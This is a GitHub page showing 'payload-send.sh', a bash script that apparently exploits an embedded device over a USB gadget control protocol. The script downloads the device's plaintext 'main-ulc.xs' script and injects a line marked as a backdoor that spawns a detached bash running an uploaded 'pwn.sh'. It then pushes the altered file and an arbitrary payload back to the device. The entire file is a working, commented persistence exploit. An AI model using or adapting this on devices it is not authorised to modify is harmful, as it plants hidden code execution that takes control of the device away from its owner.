-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathpayload-send.sh
executable file
·72 lines (59 loc) · 2.38 KB
/
payload-send.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env bash
set -euo pipefail
cd -- "$(dirname -- "$0")"
mkdir -p tmp
echo "resetting gadget..."
sudo ./scripts/ctrl-gadget.sh reset
sleep 2
SHA1_EXPECTED="2a58d68aa287804d9a456dcf2214cad3827c7e3f"
PAYLOAD="pwn.txt"
PAYLOAD_FINAL=${1-$PAYLOAD}
confirm() {
read -r -p "${1:-Are you sure} (y/n)? " YESNO
[[ "$YESNO" =~ ^[yY] ]]
}
# The injection point is the file '/navi/yellowtool/src/main-ulc.xs'.
# This file is part of the same system that we use to communicate with
# the device, so care should be taken to avoid breaking it and losing
# access to the device.
# We inject at the top of the 'main' function on that file.
# The system uses a programming language similar to JS, that appears to
# use a proprietary engine. Being plaintext (not compiled), means that
# it can be easily exploited.
# The payload goes on a separate 'pwn.sh' file to isolate any errors.
# Originally the file '/navi/yellowtool/yellowtool.sh' was considered
# for the injection point, but the upload protocol clears the execute
# bit, and that would break everything.
# inject backdoor
echo "downloading 'main-ulc.xs'..."
rm -f tmp/main-ulc.xs
./scripts/ctrl-proto.py pull yellowtool/src/main-ulc.xs tmp/main-ulc.xs
if grep -qF "// mn4-pwned-v0" tmp/main-ulc.xs; then
echo "already pwned, not doing it again"
PAYLOAD_FINAL=${1-}
else
{
sed -ne 'p;/^async main()/q' tmp/main-ulc.xs
# the actual backdoor injection
echo ' const pwn = spawn("/bin/bash", "-c", "( setsid bash /navi/yellowtool/pwn.sh >/dev/null 2>&1 &)", { stdin: @null, stdout: @null, stderr: @null }); await pwn.status; // mn4-pwned-v0'
sed -e '1,/^async main()/d' tmp/main-ulc.xs
} >tmp/main-ulc.xs.pwn
SHA1=$(sha1sum tmp/main-ulc.xs | head -c40)
echo "file hash = $SHA1"
if [ "$SHA1" != "$SHA1_EXPECTED" ]; then
echo " expected = $SHA1_EXPECTED"
echo "file 'tmp/main-ulc.xs' does not match expected content"
echo "check the file 'tmp/main-ulc.xs.pwn'"
confirm "continue"
fi
echo "uploading pwned 'main-ulc.xs'..."
./scripts/ctrl-proto.py push tmp/main-ulc.xs.pwn yellowtool/src/main-ulc.xs
fi
# send payload
if [ -z "$PAYLOAD_FINAL" ]; then
echo "will not upload payload again, pass new payload file as argument, e.g.:"
echo "$0 $PAYLOAD"
else
echo "uploading payload..."
./scripts/ctrl-proto.py push "$PAYLOAD_FINAL" yellowtool/pwn.sh
fi